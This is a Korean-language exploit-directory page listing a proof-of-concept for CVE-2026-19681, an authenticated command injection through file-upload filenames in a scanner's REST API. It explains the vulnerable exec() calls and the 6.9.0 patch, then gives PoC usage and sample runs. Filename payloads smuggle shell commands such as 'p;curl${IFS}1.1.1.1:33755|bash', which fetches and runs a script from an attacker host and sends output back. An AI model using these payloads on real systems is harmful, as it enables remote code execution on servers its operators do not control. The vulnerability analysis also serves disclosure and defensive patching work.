Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
POC-CVE-2026-19681 — 파일 업로드 처리 과정에서 인증된 명령 주입을 위한 개념 증명 익스플로잇으로, REST API를 통한 2단계 공격 체인과 블라인드 타이밍 및 콜백 기반 명령 실행을 시연합니다. | Kitploit
도구/GitHubGitHub/h00die/poc-cve-2026-19681
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlPayload Development
GitHubh00die/poc-cve-2026-19681

POC-CVE-2026-19681

파일 업로드 처리 과정에서 인증된 명령 주입을 위한 개념 증명 익스플로잇으로, REST API를 통한 2단계 공격 체인과 블라인드 타이밍 및 콜백 기반 명령 실행을 시연합니다.

저장소 보기
1일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE 이미지

CVE-2026-19681 — 파일 업로드 처리의 명령 삽입 (인증 필요)

상태: 확인됨 — 6.7.2-14.el9 랩 환경(2026-08-20)에서 확인됨. POST /rest/file/upload를 통해 스테이징된 파일 이름 p;sleep${IFS}20;-EvvfJk(컨텍스트 접두사에 메타문자가 포함됨)를 업로드한 다음 POST /rest/auditFile(type=scapLinux, version=1.2)을 호출했더니 정확히 20.1초 동안 지연된 후 오류 106("Error adding Tailoring file to SCAP zip file")을 반환했다 — 삽입 후 나타나는 정상적인 오류 경로다. 실행은 웹 서비스 사용자 권한으로 zip -9Tj 셸 명령 내부에서 발생한다. (RPM diff에 따르면 6.9.0에서 패치됨; 취약점은 최소한 6.7.2–6.8.x 버전에 존재함.)

취약점

공격자가 모두 통제하는 2단계 체인:

  1. 파일 이름 제어 — POST /rest/file은 Filesystem::saveTmp()(FilesystemLib.php:587)을 통해 업로드를 저장하며, 이 함수는 클라이언트의 원본 매개변수로 디스크의 파일 이름을 구성한다: . 알 수 없는 컨텍스트는 모든 콘텐츠 검증을 건너뛰지만(의 NOTICE는 이를 "SC 4.x 이후 완전 개방"이라고 지칭한다) 여전히 저장된다 — 따라서 셸 메타문자(, , 백틱)가 스테이징된 파일 이름에 그대로 남는다.

context
tempnam($tmpDir, "$userID.$token." . $context . "-")
Files.php
;
$()
  • 삽입 지점 — type∈SCAP, version=1.2인 POST /rest/auditFile은 테일러링 분기(AuditFiles.php:163)로 진입한다: $scapZipFile = $tmpDir . $params['filename'](전적으로 클라이언트가 통제) → AuditFileLib::addSCAPTailoringFile() 2304행: $tmpZipFile = "{$tmpDir}/" . basename($scapZipFile) . ".zip" — basename()은 /를 제거하지만 셸 메타문자는 제거하지 않는다 — 이후 exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc")에서 이스케이프 없이 사용된다.

  • 동일한 유형의 두 번째 삽입 지점: extractFile()의 Files.php:360에 있는 exec("{$settings['CommandUNZIP']} -qq $filename -d $tmpDir/").

    패치 (6.9.0)

    두 zip 명령 모두에서 escapeshellarg($tmpZipFile)가 적용되고, Utility::execSafe()(argv 형태의 proc_open + -- 구분자)가 unzip 문자열 exec를 대체하며, AuditFiles::applySCAPTailoringFile()에 파일 이름 검증이 추가되었다(이것은 CVE-2026-19679에 해당).

    PoC

    root@kitploit:~
    # blind timing check (sleep in the context prefix; no '/' needed)
    ./poc.py --target https://sc.lab --username analyst --password 'pass' --check
    
    # run a command with output capture: the PoC serves the script over HTTP, injects a
    # short curl|bash callback, and prints the POSTed-back output. Target must be able to
    # reach this machine (same L2 in the lab).
    ./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd whoami
    
    # verbatim injection (no callback) — payload must fit ~47 chars
    ./poc.py --target https://sc.lab --username analyst --password 'pass' \
             --cmd 'touch${IFS}/tmp/pwned' --no-exfil
    

    참고:

    • 업로드 리소스는 /rest/file/upload(multipart 필드 Filedata, context 폼 필드) — 랩 환경에서 발견됨; 다른 빌드는 다를 수 있어 여러 후보를 탐색했다.
    • 길이 예산: PHP tempnam()은 스테이징된 이름의 접두사를 잘라낸다 — context의 약 50~55자만 남는다(랩 환경에서 측정; hex-bootstrap 변형은 페이로드 중간에서 잘렸다). p;sleep${IFS}20; 같은 짧은 주입은 들어가지만, 더 긴 것은 모두 콜백 서버를 경유한다.
    • auditFile 본문에는 type=scapLinux|scapWindows, version=1.2, benchmarkName, dataStreamName이 필요하다(AuditFiles::validateAdd 기준). PARAM_FILENAME은 /와 존재하지 않는 파일만 거부하므로 ;/${IFS}는 통과한다.
    • 테일러링 업로드(context=tailoringFile)에는 최소 하나의 Profile이 포함된 파싱 가능한 datastream XML이 있어야 한다 — 최소한의 XML이 내장되어 있다.

    랩 검증 항목(실패 시 스크립트 출력에 표시됨):

    • 내장된 최소 테일러링 XML은 SCAPTailoringFileParser를 통과해야 한다(프로필 1개 이상). 거부되면 실제 SCAP 테일러링 datastream으로 교체하라.
    • type 문자열은 AuditFileLib::$validSCAPTypes의 멤버 중 하나와 일치해야 한다(scap이 예상됨).
    • 정확한 auditFile 본문 키는 AuditFiles::validateAdd()에서 정의된다. POST가 매개변수 오류를 반환하면 조정하라.

    참고 항목

    • ../cve-2026-19679/ — 동일한 체인의 입력 검증 절반(파일 이름 정화)이며, 버전 탐지 차등 분석이 포함되어 있다.

    실행 예시

    root@kitploit:~
    $ python3 cve-2026-19681.py --target https://2.2.2.2 --username user --password "user" --cmd whoami
    [+] authenticated, token 20425636...
    [*] callback server on 1.1.1.1:33755 — injecting 'curl${IFS}1.1.1.1:33755|bash' (target must reach this IP)
    [+] staged audit zip as filename='p;curl${IFS}1.1.1.1:33755|bash;-g6LDro'
    [*] stage 2: uploading SCAP tailoring file (context=tailoringFile)
    [+] staged tailoring file as filename='tailoringFile-15xUAv'
    [*] stage 3: POST /rest/auditFile — addSCAPTailoringFile() exec() fires
    [*] HTTP 403 in 0.1s: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787236048}
    [*] injection fired in 0.1s; waiting for callback output ...
    [+] command output:
    tns
    
    root@kitploit:~
    $ python3 cve-2026-19681.py --target https://2.2.2.2 --username user --password "user" --cmd pwd
    [+] authenticated, token 20958963...
    [*] callback server on 1.1.1.1:36809 — injecting 'curl${IFS}1.1.1.1:36809|bash' (target must reach this IP)
    [+] staged audit zip as filename='p;curl${IFS}1.1.1.1:36809|bash;-G7e1sg'
    [*] stage 2: uploading SCAP tailoring file (context=tailoringFile)
    [+] staged tailoring file as filename='tailoringFile-DQzq4v'
    [*] stage 3: POST /rest/auditFile — addSCAPTailoringFile() exec() fires
    [*] HTTP 403 in 0.1s: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787236116}
    [*] injection fired in 0.1s; waiting for callback output ...
    [+] command output:
    /opt/sc/www
    
    도구 다운로드